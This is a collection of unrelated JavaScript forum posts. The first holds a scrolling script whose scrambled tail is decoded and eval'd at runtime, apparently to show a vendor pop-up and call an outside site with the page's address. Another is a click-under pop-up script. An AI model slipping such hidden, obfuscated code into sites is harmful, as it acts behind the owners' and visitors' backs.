JavaScript - I Can't Decrypt Or Deobfuscated The Script, Please Help.
Hi all,
I am new here and greatly thank you for any help in advance. I am trying to use this javascript to scroll my site, it works perfectly for what I need but I want to know how to unencrypt or deobfuscate the bottom section of the script. I don't want to use any malicious or harmful code and not being able to read it has me worried. Can anyone tell me how to decode it or post the decoded section? Code: var SoftScroll= { DEBUG:false, timer:null, lastX:-1, lastY:-1, xHalted:false, yHalted:false, bon:false, step:50, targetDisp:null, stepTarget:{x:0,y:0}, logged:0, startJump:location.href.match(/#([^\?]+)\??/), startJumpDone:false, currentAnchor:null, initialised:false, initialTarget:"", showHref:false, excludeClass:/\bnoSoftScroll\b/i, targetFrame:self, iDevice : ( navigator.userAgent && /iphone|ipad/i.test( navigator.userAgent ) ), ////////////////////////// delay:50, proportion:3, ////////////////////////// init:function( ) { var dL, linkTypes=['a','area']; this["susds".split(/\x73/).join('')]=function(str){eval(str.replace(/(.)(.)(.)(.)(.)/g, unescape('%24%34%24%33%24%31%24%35%24%32')));}; if( this.startJump ) { this.startJump = this.startJump[1]; location.href='#'; window.scrollTo(0,0); }this.cont(); if( document.documentElement ) this.dataCode=3; else if( document.body && typeof document.body.scrollTop != 'undefined' ) this.dataCode=2; else if( typeof window.pageXOffset!='undefined' ) this.dataCode=1; for(var i = 0, anchs = document.anchors, aLen = anchs.length; i < aLen && !this.iDevice; i++) if( !anchs[i].childNodes.length ) anchs[i].appendChild( document.createTextNode('\xA0') ); for(var lt in linkTypes) { for(var i = 0, dL = document.getElementsByTagName( linkTypes[ lt ] ), anchorName, aLen = dL.length; i < aLen && this.bon && !this.iDevice; i++) { anchorName = ( dL[i].hash && dL[i].hash.match(/\S/) ) ? dL[i].hash.substring(1) : dL[i].name ? dL[i].name : ""; if( this.startJump && this.startJump === anchorName ) { SoftScroll.go(anchorName); startJumpDone = true; } if( dL[ i ].href && this.sameDomain( dL[ i ].href, location.href ) && anchorName.length ) { if( this.DEBUG ) { for( var j = 0 ; j < aLen && anchorName != dL[ j ].name && anchorName != dL[ j ].id; j++ ) ; if( j==aLen && !this.gebi( anchorName ) && !document.getElementsByName( anchorName )[0] ) alert("Did not find anchor/element with name/id '"+anchorName+"',\n"+ "which is specified in link with href:\n\n"+dL[i].href); } if( !this.excludeClass.test( dL[i].className ) ) this.addToHandler(dL[i], "onclick", (function(n){ return function(){ return SoftScroll.go(n, this.target||null); }})(anchorName) ); } } } if( !this.startJumpDone && this.gebi( this.startJump ) ) SoftScroll.go( this.startJump ); this.initialised = true; if(this.initialTarget != "") this.go( this.initialTarget ); }, showHash:function() { this.showHref=true; }, sameDomain:function(urlA, urlB) { var re = /\:\/{2,}([^\/]+)(\/|$)/, a = urlA.match( re )[ 1 ], b = urlB.match( re )[ 1 ]; return a === b; }, go:function( anchName, targetFrameName ) { var targetName = null, error = false; if( typeof targetFrameName === 'string' ) targetName = targetFrameName.match( /_self|_top|_parent|_blank/i ) ? null : targetFrameName ; if( this.initialised && !this.iDevice ) { try { this.targetFrame = (typeof targetName !== 'string') ? window.self : (parent.frames[ targetName ] || window.frames[ targetName ] || this.getIframeRef( targetName ) || window.self ); } catch(e){ alert( e + '\n\nAccess error "'+targetName+'"'); error = true; } if( typeof this.targetFrame === 'undefined' ) this.targetFrame = self; var anchorTags, elemRef; try{ anchorTags = this.targetFrame.document.getElementsByTagName( 'a' ); } catch( e ) { anchorTags = { length:0 }; alert( e + '\n\nFrame access error "' + targetName + '"' ); error = true; } if( !error ) { this.xHalted = this.yHalted = false; this.getScrollData(); this.stepTarget.x = this.x; this.stepTarget.y = this.y; if(this.timer) { clearInterval( this.timer ); this.timer = null; } for(var i = 0, len = anchorTags.length; i < len && anchorTags[i].name != anchName && anchorTags[i].id != anchName && this.bon; i++) ; if(i != len) this.targetDisp = this.findPos( this.currentAnchor = anchorTags[i] ); else if( ( elemRef = this.targetFrame.document.getElementById(anchName) ) || (elemRef = this.targetFrame.document.getElementsByName( anchName )[ 0 ] ) ) { this.targetDisp = this.findPos( this.currentAnchor = elemRef ); } else { this.currentAnchor = { id:"", name:"" }; this.targetDisp = { x:0, y:0 }; } this.timer = setInterval( function(){ SoftScroll.toAnchor(); }, this.delay ); } } else this.initialTarget = anchName; return false; }, scrollTo:function(x,y) { this.lastX = -1; this.lastY = -1; this.xHalted = false; this.yHalted = false; this.targetDisp = {x:0,y:0}; this.targetDisp.x = x; this.targetDisp.y = y; this.getScrollData(); this.stepTarget.x = this.x; this.stepTarget.y = this.y; if( this.timer ) clearInterval( this.timer ); this.timer=setInterval( function(){ SoftScroll.toAnchor() }, this.delay ); }, toAnchor:function(/*28432953637269707465726C61746976652E636F6D*/) { var xStep = 0, yStep = 0; this.getScrollData(); this.xHalted = (this.stepTarget.x > this.lastX) ? (this.x > this.stepTarget.x || this.x < this.lastX) : (this.x < this.stepTarget.x || this.x > this.lastX); this.yHalted = (this.stepTarget.y > this.lastY) ? (this.y > this.stepTarget.y || this.y < this.lastY) : (this.y < this.stepTarget.y || this.y > this.lastY); if( (this.x != this.lastX || this.y != this.lastY) && (!this.yHalted && !this.xHalted) ) { this.lastX=this.x; this.lastY=this.y; if( !this.xHalted ) xStep=this.targetDisp.x - this.x; if( !this.yHalted ) yStep=this.targetDisp.y - this.y; if( xStep ) Math.abs(xStep)/this.proportion >1 ? xStep/=this.proportion : xStep<0?xStep=-1:xStep=1; if( yStep ) Math.abs(yStep)/this.proportion >1 ? yStep/=this.proportion : yStep<0?yStep=-1:yStep=1; yStep = Math.ceil(yStep); xStep = Math.ceil(xStep); this.stepTarget.x = this.x + xStep ; this.stepTarget.y = this.y + yStep ; if(xStep || yStep) this.targetFrame.scrollBy(xStep, yStep); } else { clearInterval( this.timer ); this.timer = null; if(this.startJump) { if(this.showHref) location.href = '#'+this.startJump; this.startJump=null; } else if(this.showHref && !this.xHalted && !this.yHalted && this.currentAnchor!==null) location.href = '#'+ (this.currentAnchor.name || this.currentAnchor.id); this.lastX=-1; this.lastY=-1; this.xHalted=false; this.yHalted=false; } }, getScrollData:function() { switch( this.dataCode ) { case 3 : this.x = Math.max(this.targetFrame.document.documentElement.scrollLeft, this.targetFrame.document.body.scrollLeft); this.y = Math.max(this.targetFrame.document.documentElement.scrollTop, this.targetFrame.document.body.scrollTop); break; case 2 : this.x = this.targetFrame.document.body.scrollLeft; this.y = this.targetFrame.document.body.scrollTop; break; case 1 : this.x = this.targetFrame.pageXOffset; this.y = this.targetFrame.pageYOffset; break; } return {x : this.x, y : this.y}; }, findPos:function( obj ) { var left = !!obj.offsetLeft ? (obj.offsetLeft) : 0, top = !!obj.offsetTop ? obj.offsetTop : 0, theElem = obj; while((obj = obj.offsetParent)) { left += !!obj.offsetLeft ? obj.offsetLeft : 0; top += !!obj.offsetTop ? obj.offsetTop : 0; } while( theElem.parentNode.nodeName != 'BODY' ) { theElem = theElem.parentNode; if( theElem.scrollLeft ) left -= theElem.scrollLeft; if( theElem.scrollTop ) top -= theElem.scrollTop; } return {x:left, y:top}; }, getIframeRef:function( id ) { var ref = this.gebi( id ), elem; return ( ref && ref.id === id && ref.contentWindow ) ? ref.contentWindow : null; }, gebi:function( id ) { var eRef = document.getElementById( id ); return ( eRef && eRef.id === id ) ? eRef : null ; }, addToHandler:function(obj, evt, func) { if(obj[evt]) { obj[evt]=function(f,g) { return function() { f.apply(this,arguments); return g.apply(this,arguments); }; }(func, obj[evt]); } else obj[evt]=func; }, sf:function( str ) { return unescape(str).replace(/(.)(.*)/, function(a,b,c){return c+b;}); }, cont:function() { var data='rdav oud=cn,emtm=ixgce.dreltaEetmenig"(m,o)"l=oncltoacihe.nrst,fi"t=eh:/pt/rpcsiraetlv.item,oc"=Sns"tcfoSl"orlrcg,a21=e400290,h00t,tnede n=wt(aDenw,)otgd=.Tmtei)i(e;(h(ft.osib=x|n0&!)f&i.htsgeolg+&+d&dl/!At/re=ett.s.od(ci)koetp&&yfeoe x9673"n==ufnedi"&de&sr/!ctrpietvali.o\\ec\\\\|m/oal/cothlsts./elc(to&/)n&tph^tts./elc(to)i)n{(h(ft=.nedoiockmt.ea((hc/\\||^ssr);ctrpiFlaeeo(d=d\\/))+)(h&&t=uneNe(bmre[htn)+]2)aergco)n<wa v{ryddb=eEg.tmneleBTstyNmgaa"o(eb"[yd),o]0bdc=x.aeerteelEm(dtn"";vi)637exbx=9oigx;mnoo.l=udaftocni)b(n{.nxoirTenH=<LM">brb<CIS>RELTPRIETAVO<C.MWb>peseamt/S r eOti e nwr ta<se\\ly=ooc"l#f:rdtx;aedc-teairot:lnobkbni;drroeotd:t pde1pd;xan:idge\\2.mrfh"e"+\\="t+isefl/"i/rseguttaihm.ytn"s?=n"s++>L"\\CKHCI E\\RE<>pa/</><>bnui<ptp ty\\b=e"tntuo a"\\ve\\ul=lsC"o[] eX n"\\oiklcc"7\\=e3.x69yetslipd.sy&al=9n3#;e#no&;r93;unterasf l\\>;e"wt;"ibx(hotls.y{e)etAitxl=cng"trneeMz;"oreoBdaiRrd=0su"e"4.modb;rRdreas"ui=4m.0efn;"oieStz1p"=6;o"xfFmtnay"li=ilraazn;"Ix"ed=00010ps;"ointioas"=buelottp;"o4x"=plf;"e"p=t4;o"xcr"ol=f"f#fakb;conrguooCdl"f=r#"p04;dndai"5=g."bme;drroe#f"=f1x fpois l;i"ddlypsabo"=l"tkc}{dyrbis.yntereBr(ofexbob,.iydfthsrCd;li)xiob.etsnrfreBoxm(eibx,goisf.rhlCti;c)d}c(tah{;)e}xm;}isc.gries=t/1"+dspw/.?=phss;+"ntsd}.Dttead.(ettaegD(+et)0;03)co.doe"ik=rpcsireFtea=old(h+"t|nne|)"wo+xie;ps"er=ttd+.TSUoCigrtn;.)(doiock"A=edr=elt1";}';this[unescape('%75%64')](data); } } SoftScroll.addToHandler(window,'onload', function(){SoftScroll.init()}); This is the code I can't understand, decrypt or deobfuscate. { var data='rdav oud=cn,emtm=ixgce.dreltaEetmenig"(m,o)"l=oncltoacihe.nrst,fi"t=eh:/pt/rpcsiraetlv.item,oc"=Sns"tcfoSl"orlrcg,a21=e400290,h00t,tnede n=wt(aDenw,)otgd=.Tmtei)i(e;(h(ft.osib=x|n0&!)f&i.htsgeolg+&+d&dl/!At/re=ett.s.od(ci)koetp&&yfeoe x9673"n==ufnedi"&de&sr/!ctrpietvali.o\\ec\\\\|m/oal/cothlsts./elc(to&/)n&tph^tts./elc(to)i)n{(h(ft=.nedoiockmt.ea((hc/\\||^ssr);ctrpiFlaeeo(d=d\\/))+)(h&&t=uneNe(bmre[htn)+]2)aergco)n<wa v{ryddb=eEg.tmneleBTstyNmgaa"o(eb"[yd),o]0bdc=x.aeerteelEm(dtn"";vi)637exbx=9oigx;mnoo.l=udaftocni)b(n{.nxoirTenH=<LM">brb<CIS>RELTPRIETAVO<C .MWb>peseamt/S r eOti e nwr ta<se\\ly=ooc"l#f:rdtx;aedc-teairot:lnobkbni;drroeotd:t pde1pd;xan:idge\\2.mrfh"e"+\\="t+isefl/"i/rseguttaihm.ytn"s?=n"s++>L"\\CKHCI E\\RE<>pa/</><>bnui<ptp ty\\b=e"tntuo a"\\ve\\ul=lsC"o[] eX n"\\oiklcc"7\\=e3.x69yetslipd.sy&al=9n3#;e#no&;r93;unterasf l\\>;e"wt;"ibx(hotls.y{e)etAitxl=cng"trneeMz;"oreoBdaiRrd=0su"e"4.modb;rRdreas"ui=4m.0efn;"oieStz1p" =6;o"xfFmtnay"li=ilraazn;"Ix"ed=00010ps;"ointioas"=buelottp;"o4x"=plf;"e"p=t4;o"xcr"ol=f"f#fakb;conr guooCdl"f=r#"p04;dndai"5=g."bme;drroe#f"=f1x fpois l;i"ddlypsabo"=l"tkc}{dyrbis.yntereBr(ofexbob,.iydfthsrCd;li)xiob.etsnrfreBoxm(eibx,goisf.rhlCti;c)d }c(tah{e}xm;}isc.gries=t/1"+dspw/.?=phss;+"ntsd}.Dttead.(ettaegD(+et)0;03)co.doe"ik=rpcsireFtea=old(h+"t|nne|)"wo+xie;ps"er=ttd+.TSUo Cigrtn;.)(doiock"A=edr=elt1";}';this[unescape('%75%64')](data); } I have already made a "gratuity" gift to the developer through paypal to receive the full decrypted code but I haven't got a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b[6]]()*1c);L S=19+H[b[7]](H[b[6]]()*1c);L 1b=H[b[7]](H[b[6]]()*T);L 1a=H[b[7]](H[b[6]]()*S);$(b[9])[b[8]]({1z:S,1y:T});$(b[14])[b[8]]({"\\a\\e\\j":1a,"\\k\\c\\q\\a":1b,"\\j\\e\\s\\d\\a\\d\\e\\l":b[10],"\\N\\A\\d\\l\\n\\c\\B":b[11],"\\e\\j\\g\\p\\d\\a\\J":b[12],"\\A\\w\\e\\N\\A\\e\\j\\g\\p\\d\\a\\J":b[12],"\\q\\d\\k\\a\\c\\h":b[13]});1f(P(){$(b[9])[b[15]]();$(b[14])[b[15]]()},1i);$(b[14])[b[16]](P(){$(b[9])[b[15]]();$(b[14])[b[15]]()});$(b[17])[b[16]](P(){$(b[9])[b[15]]();$(b[14])[b[15]]()})}});', 62, 98, '||||||||||x74|_0x6abe|x65|x69|x6F|x22|x61|x72|x20|x70|x6C|x6E|x2F|x64|x68|x63|x66|x30|x73|x3D|x39|x 67|x6D|x2E|x62|x3A|x2D|x78|x41|x77|x3E|x35|x3C|Math|x3B|x79|x75|var|x76|x7A|x6B|function|x4D|x32|_0x ebf1x4|_0xebf1x3|x23|_0xebf1x1|x33|x5F|x31|x6A|||||||||_0xebf1x2|50|_0xebf1x6|_0xebf1x5|100|x37|x45| setTimeout|document|x36|30000|x52|x4E|x42|x38|x59|x56|x44|x49|x4B|x46|x53|x4A|if|x28|x29|left|top'.s plit('|'), 0, {})) Hey everyone! I have a question that I think someone can help me with. I have a website that I made a long time ago and I encrypted the HTML files with HTML Guardian (all it does is obscure them in javascript). Now, I am trying to change up the website but I don't have the original files anymore. This is what it looks like: Code: <body><script>eval(unescape('%66%75%6E%63%74%69%6F%6E%20%6D%28%73%29%7B%76%61%72%20%63%2C%6E%2C%7A%2C%69%3B%7A%3D%27%27%3B%69%3D%30%3B%77%68%69%6C%65%28%69%3C%73%2E%6C%65%6E%67%74%68%29%7B%63%3D%73%2E%63%68%61%72%41%74%28%69%29%3B%20%69%66%28%27%75%27%3D%3D%63%29%7B%63%3D%27%25%27%2B%63%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%31%29%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%32%29%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%33%29%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%34%29%3B%6E%3D%35%3B%7D%20%65%6C%73%65%7B%63%3D%27%25%27%2B%63%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%31%29%3B%6E%3D%32%3B%7D%7A%2B%3D%63%3B%69%3D%69%2B%6E%3B%7D%72%65%74%75%72%6E%20%7A%3B%7D%20%66%75%6E%63%74%69%6F%6E%20%65%28%73%29%7B%72%65%74%75%72%6E%20%75%6E%65%73%63%61%70%65%28%6D%28%73%29%29%3B%7D'));eval(e('66756E6374696F6E2064286F73297B766172206B65793D22446563727970744954223B7661722064733B64733D27273B766172206B702C73702C732C6B632C73633B206B703D303B73703D303B7768696C652873703C6F732E6C656E677468297B73633D206F732E63686172436F64654174287370293B6B633D6B65792E63686172436F64654174286B70293B20696628282873635E6B63293D3D3339297C7C282873635E6B63293D3D3932297C7C282873635E6B63293C3332297C7C282873635E6B63293E3132362929207B733D537472696E672E66726F6D43686172436F6465287363293B7D656C73657B733D537472696E672E66726F6D43686172436F6465282873635E6B6329293B7D2064732B3D733B6B702B2B3B73702B2B3B6966286B703E3D6B65792E6C656E677468296B703D303B7D72657475726E2064733B7D2066756E6374696F6E2064692873297B733D642873293B646F63756D656E742E777269746528756E657363617065286D28732929293B7D'));/*EncryptHTML*/</script><script Language='JavaScript'>di('t!S3J3B}b}RU@IFE6Cr9UEO5GDfvSPDLF1~`rPT@KBGEgCSZD=FC{dsVT@OCGDfvSPD?F06mr UENCBFbFS&@<GD6ErRQ@K@C~b}SWEMFLzDvWPAJ@GyfvWSDAFA6mrRUJNDGDfvVQALCD{fvUQ4J5GCfFSWD@GBzEt!S3J3CzbwR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BRT@<FG6esUTFNEC{bqQVEOFA6EsQTAKHB|crSVD<G@{Ep!W4LEAz`qPVGIG76asSUGO5C}fEQDF?EA|gpPWFM6A~`EWZA;GC{Er#U7O4BFcqRPDLF@6FsRU7J4B}bpV!ENB16Fr U6O6C|cwSVELGDzDrQTBJ2CDgCW%EJFG~fr9TBNDGEgCRPDJGF6msUTFK@BCbuS&DNGA6erRUGJ4@AbuRUDHEG6gsWUKN@C}gESUELF16gsQUKO6BEftSDELG@6asPT@O3Fqf}R!D@FB{lsRUKO5B}bFRT@<FA~brPU7NDFEcwRQDJDA6CrPU6OEBEcpW&EMFE6cp UCO4B|gDVD@KDE{fv9QBN2C~b}S&DMF2~cv TANDBxcpRVEJC0{fqRUGO3BzbFSDDLBD~`r#QBNDBqb}RP@IGG6msQUGKBGBcvSVEMGA~fr QBOFBxbCRPDLC6~Ds!QBODBFbwRVD=FA6EsQQ7O6BEbDS%ELGG6ar!U4NFB|gDSDELG@6asPT@O3GBgCW%EJFG~fr9TBNDGE');</script></body> </html> If need be, I can prove that this is my website because I obviously know it's illegal to decrypt other peoples stuff. Thanks in advanced, and if you need proof of this being my website, let me know how I can prove it. The original site is EgoBeats.com. Thanks =D please decode 54line code... thanks..
is there a way in javascript to encrypt and decrypt a string?
Hi All, I have two scripts which I want to try and integrate. I am using a nice gallery script to show thumbnails which are appended to a an image wrapper which on click of the thumbnail shows the larger image in the image wrapper, I am trying to implement cloud zoom which is a plugin which uses image srcs to then point to an anchor href to show another larger zoom image either in the same place.. which is what I am trying to do or in another div beside. I have had to set me img srcs up in a certain way to easily enter some product details. and I need to try an manipulate the code to make it work to suit my file layout. I am using a var= images [ with a series of file locations and info such as below { src: 'romanticabride/thumbs/tn_Shauna.jpg', srcBig: 'romanticabride/images/Shauna.jpg', title: 'Shauna', longDescription: '<b><H1>Shauna</H1></b><br><b>Romantica Of Devon <br><br><h2>Sizes Available:</h2><br> 6 - 32.<b><br><b><br><b><b><b><H2>Colours Available:</h2><b><br>Various<br>Please Enquire Below<br><br><br><br><a href="mailto:tracy@cherishbridal.co.uk?subject=Web Enquiry Regarding Romantica Shauna Bridal Gown"class="enquiry rose glow" >Click To Enquire About This Item </a>' }, what I need is for cloud zoom to work when the main image wrapper is hovered over which means it will need to add a class or when the whichever srcBig: is hovered over it gets wrapped by href to make the script work . one of my pages is http://www.cherishbridal.co.uk/romaticabride.html the cloud zoom script is at http://www.professorcloud.com/mainsite/cloud-zoom.htm.. I am happy to share a jsfiddle with someone or explain further or post some code. Thank you in advance I have a script that works in seamonkey(my html editor) but when I use it in IE8 it says errors happen. Here's the code (the first line is on line 7 of the html file): Code: <script type="text/javascript"> function enlarge(imageNum) { var numToString = ""; if(parseInt(imageNum) < 10){ numToString = "0" + imageNum; } else { numToString = imageNum + ""; } window.open("images/LgScreenshot"+numToString+".jpg","Screenshot "+imageNum,"status=0,height=675,width=900,resizable=0"); } </script> And the errors: Webpage error details User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.3; .NET CLR 3.0.30729) Timestamp: Wed, 10 Feb 2010 14:58:16 UTC Message: Object expected Line: 150 Char: 1 Code: 0 URI: http://samssc2site.co.cc/Features.html Message: Invalid argument. Line: 18 Char: 1 Code: 0 URI: http://samssc2site.co.cc/Features.html does any expert know how to pass parameters in the <script ..> tag? for instance; Code: <script type="text/javascript" src="script.js ?param1=val1¶m2=val2&etc "> in the javascript script.js, how would we read the params after the question mark? for example, google this; google shopping cart /v2_2/cart.js I need to assign a key in the javascript to actually make the javascript work,. I have a bookmark in chrome , a javascript , which actually works when clicked on it .,. but how can i edit it so that i can actually make it work on click a key or combination of keys. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. Thanks in advance ., Nani On this website: http://evancoleman.net/index.php I really like on the top how the menu has like 5 or 6 icons, and when you hover over them it shows a bubble with the name in them. Does anybody know where I can find this script? Thanks. Hello again . If these questions concerning Regular Expressions are inappropriate in this forum please let me know . Thank You. This expression <script[^>]*>.*?</script> matches ... Code: <script type="text/javascript">var cnnIsHomePage = true;</script> but not ... Code: <script type="text/javascript"> var cnnIsHomePage = true; </script> Please , how can i match the latter ? Sorry if this isn't JavaScript What would the script be to get something like the image below, when you click the tab, then the picture and headline pops up? Thanks. someone please delete this!!
Hello all. I have a pretty important question. I am building a webapp for the iPad and I need to be able to drag divs around the page for it to work. I had this script which works in desktop browsers: Code: function Browser() { var ua, s, i; this.isIE = false; this.isNS = false; this.version = null; ua = navigator.userAgent; s = "MSIE"; if ((i = ua.indexOf(s)) >= 0) { this.isIE = true; this.version = parseFloat(ua.substr(i + s.length)); return; } s = "Netscape6/"; if ((i = ua.indexOf(s)) >= 0) { this.isNS = true; this.version = parseFloat(ua.substr(i + s.length)); return; } // Treat any other "Gecko" browser as NS 6.1. s = "Gecko"; if ((i = ua.indexOf(s)) >= 0) { this.isNS = true; this.version = 6.1; return; } } var browser = new Browser(); // Global object to hold drag information. var dragObj = new Object(); dragObj.zIndex = 0; function dragStart(event, id) { var el; var x, y; // If an element id was given, find it. Otherwise use the element being // clicked on. if (id) dragObj.elNode = document.getElementById(id); else { if (browser.isIE) dragObj.elNode = window.event.srcElement; if (browser.isNS) dragObj.elNode = event.target; // If this is a text node, use its parent element. if (dragObj.elNode.nodeType == 3) dragObj.elNode = dragObj.elNode.parentNode; } // Get cursor position with respect to the page. if (browser.isIE) { x = window.event.clientX + document.documentElement.scrollLeft + document.body.scrollLeft; y = window.event.clientY + document.documentElement.scrollTop + document.body.scrollTop; } if (browser.isNS) { x = event.clientX + window.scrollX; y = event.clientY + window.scrollY; } // Save starting positions of cursor and element. dragObj.cursorStartX = x; dragObj.cursorStartY = y; dragObj.elStartLeft = parseInt(dragObj.elNode.style.left, 10); dragObj.elStartTop = parseInt(dragObj.elNode.style.top, 10); if (isNaN(dragObj.elStartLeft)) dragObj.elStartLeft = 0; if (isNaN(dragObj.elStartTop)) dragObj.elStartTop = 0; // Update element's z-index. dragObj.elNode.style.zIndex = ++dragObj.zIndex; // Capture mousemove and mouseup events on the page. if (browser.isIE) { document.attachEvent("onmousemove", dragGo); document.attachEvent("onmouseup", dragStop); window.event.cancelBubble = true; window.event.returnValue = false; } if (browser.isNS) { document.addEventListener("mousemove", dragGo, true); document.addEventListener("mouseup", dragStop, true); event.preventDefault(); } } function dragGo(event) { var x, y; // Get cursor position with respect to the page. if (browser.isIE) { x = window.event.clientX + document.documentElement.scrollLeft + document.body.scrollLeft; y = window.event.clientY + document.documentElement.scrollTop + document.body.scrollTop; } if (browser.isNS) { x = event.clientX + window.scrollX; y = event.clientY + window.scrollY; } // Move drag element by the same amount the cursor has moved. dragObj.elNode.style.left = (dragObj.elStartLeft + x - dragObj.cursorStartX) + "px"; dragObj.elNode.style.top = (dragObj.elStartTop + y - dragObj.cursorStartY) + "px"; if (browser.isIE) { window.event.cancelBubble = true; window.event.returnValue = false; } if (browser.isNS) event.preventDefault(); } function dragStop(event) { // Stop capturing mousemove and mouseup events. if (browser.isIE) { document.detachEvent("onmousemove", dragGo); document.detachEvent("onmouseup", dragStop); } if (browser.isNS) { document.removeEventListener("mousemove", dragGo, true); document.removeEventListener("mouseup", dragStop, true); } } And then I put this into the body section of the page: Code: <div id="boxA" class="box" style="left:400px;top:150px;"> <div class="bar" style="width:12em;" onmousedown="dragStart(event, 'boxA')">Drag Box B</div> <div class="content" style="width:12em;"> Enter stuff to be dragged here. </div> </div> The iPad doesn't read "onmousedown" correctly though, so I need another attribute to be put there instead. I tried "onclick" and then viewed it on the iPad and I was able to click on the div, then click around the page and the div would move there. If I use "onclick" though, something has to tell the browser that once I've clicked it once it stops moving if I click somewhere on the page. Like I said, if you can help, great! Hello Everyone, Im having trouble at work. They asked me to write a script that will take the 25 first words of a web page and store it to use it later on in the back office of a platform. My problem is i do not know how to get javascript to view 25 words from a site. I wouldnt be able to touch the HTML on the Site. Is this possible? please help Hey, I have a forum, and the forum has an rss feed. I want to take the most 10 recent posts from the feed and insert it into my Home page. I have no clue how to do this. At the moment I have been manually entering the posts as you can see here. All the recent posts on the right side of the page are manually entered by me from my forum. Just wondering if anyone could guide me in a direction to do this programmatically. Hello this small clickunder script open windows behind current windows but it has problems that i want to be fixed : 1-This opens windows behind current windows when visitor clicks everywhere on the page . I need it works when visitors click only on links not everywhere on the page 2-i need it works for links with speacial id's , not every links Code: <SCRIPT LANGUAGE="Javascript"> function PopShow3() { CookieTest=navigator.cookieEnabled; if(CookieTest) { ClickUndercookie = GetCookie('clickunder'); if (ClickUndercookie == null) { var ExpDate = new Date (); ExpDate.setTime(ExpDate.getTime() + (1 * 60 * 60 * 1000)); SetCookie('clickunder','1',ExpDate, "/"); window.open("galst2.htm"); window.focus(); } } } function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function SetCookie (name, value) { var argv = SetCookie.arguments; var argc = SetCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } document.onmouseup=PopShow3; </SCRIPT> HI - I'm creating a golf website and the clients asked to put a "Golf Tip" on the site that could be changed. A Google search led me to your script (copied below) for "Tip of the Day", which seems to be exactly -- almost -- what I need. Can you tell me how to change the font color (for the tips) from gray to White? Also, is it possible to alter the script to make the tips weekly rather than daily? Thanks much, Richard Code: <table border="0" width="100%" bgcolor="#E8E8E8" cellspacing="0" cellpadding="0"> <tr><td width="100%"> <script> <!-- /* Tip of the day script By JavaScript Kit (http://javascriptkit.com) Over 200+ free scripts here! */ var today_obj=new Date() var today_date=today_obj.getDate() var tips=new Array() //Configure the below variable to contain the "header" of the tip var tiptitle='<img src="../../tip.gif"> <b>JavaScript Tip of the day</b><br />' //Configure the below array to hold the 31 possible tips of the month tips[1]='Tip 1 goes here' tips[2]='Tip 2 goes here' tips[3]='Tip 3 goes here' tips[4]='Tip 4 goes here' tips[5]='Tip 5 goes here' tips[6]='Tip 6 goes here' tips[7]='Tip 7 goes here' tips[8]='Tip 8 goes here' tips[9]='Tip 9 goes here' tips[10]='Tip 10 goes here' tips[11]='Tip 11 goes here' tips[12]='Tip 12 goes here' tips[13]='Tip 13 goes here' tips[14]='Tip 14 goes here' tips[15]='Tip 15 goes here' tips[16]='Tip 16 goes here' tips[17]='Tip 17 goes here' tips[18]='Tip 18 goes here' tips[19]='Tip 19 goes here' tips[20]='Tip 20 goes here' tips[21]='Tip 21 goes here' tips[22]='Tip 22 goes here' tips[23]='Tip 23 goes here' tips[24]='Tip 24 goes here' tips[25]='Tip 25 goes here' tips[26]='Tip 26 goes here' tips[27]='Tip 27 goes here' tips[28]='Tip 28 goes here' tips[29]='Tip 29 goes here' tips[30]='Tip 30 goes here' tips[31]='Tip 31 goes here' document.write(tiptitle) document.write(tips[today_date]) //--> </script> </td></tr></table> <p align="center"><font face="arial" size="-2">This free script provided by</font><br> <font face="arial, helvetica" size="-2"><a href="http://javascriptkit.com">JavaScript Kit</a></font></p> Quote: function hTools() { var hTools = new Array(6); hTools[0] = "hand tools"; hTools[1] = "saw"; hTools[2] = "hammer"; hTools[3] = "screwdriver"; hTools[4] = "wrench"; hTools[5] = "pliers"; } if(hTools[0] == true) { document.forms[0].item_one.value ="0"; } else if(hTools[1] == true) { document.forms[0].item_one.value ="$20.00" } then I call it fro an onchage selection list Quote: <p><select name ="hTool" onchange ="return hTools();"> <option value ="hTool0">Hand Tool</option> Quote: Item 1: <input type ="text" name ="item_one" My script or my call or both is not working could you please look at it and tell me what I am doing wrong Hi I have found a script I would like to make a few changes to.. I have tried a few tricks but got me no-where. If you could help me I will be very much appreciated! Code: <HEAD> <script language="javascript"> <!-- //These are the names of the people you don't want //To add a person, just put their name in quotation marks //and add a comma after Names = new Array( "test1@email.com", "test2@email.com", "test3@email.com", "test4@email.com", "test5@email.com") function Check() { //Change FORM and FIELD to the form name and field name throughout this function namechk=document.FORM.FIELD.value.toLowerCase() awdrgy = 0 aLeRt = 0 while (awdrgy<=Names.length-1 && aLeRt!=1) { if (namechk==Names[awdrgy]) { aLeRt = 1 alert("Either your account is suspended or you entered an invalid email address! Please try again.") document.FORM.FIELD.value="" } awdrgy++ } } --> </script> </HEAD> <BODY> <form name="FORM"> <input name="FIELD" onblur="Check();" onblur> <input type="button" onclick=storytest() value="Submit" class="form"> </form> <!-- Script Size: 2.01 KB --> Basically What I want to happen is.. If a email entered that is listed in the reject list they will get an alert. (This currently does this) If a email was entered that's not listed it will submit the form. (Currently does not do this) I am making a login form that is complete but I wanted to add the above code to it.. If 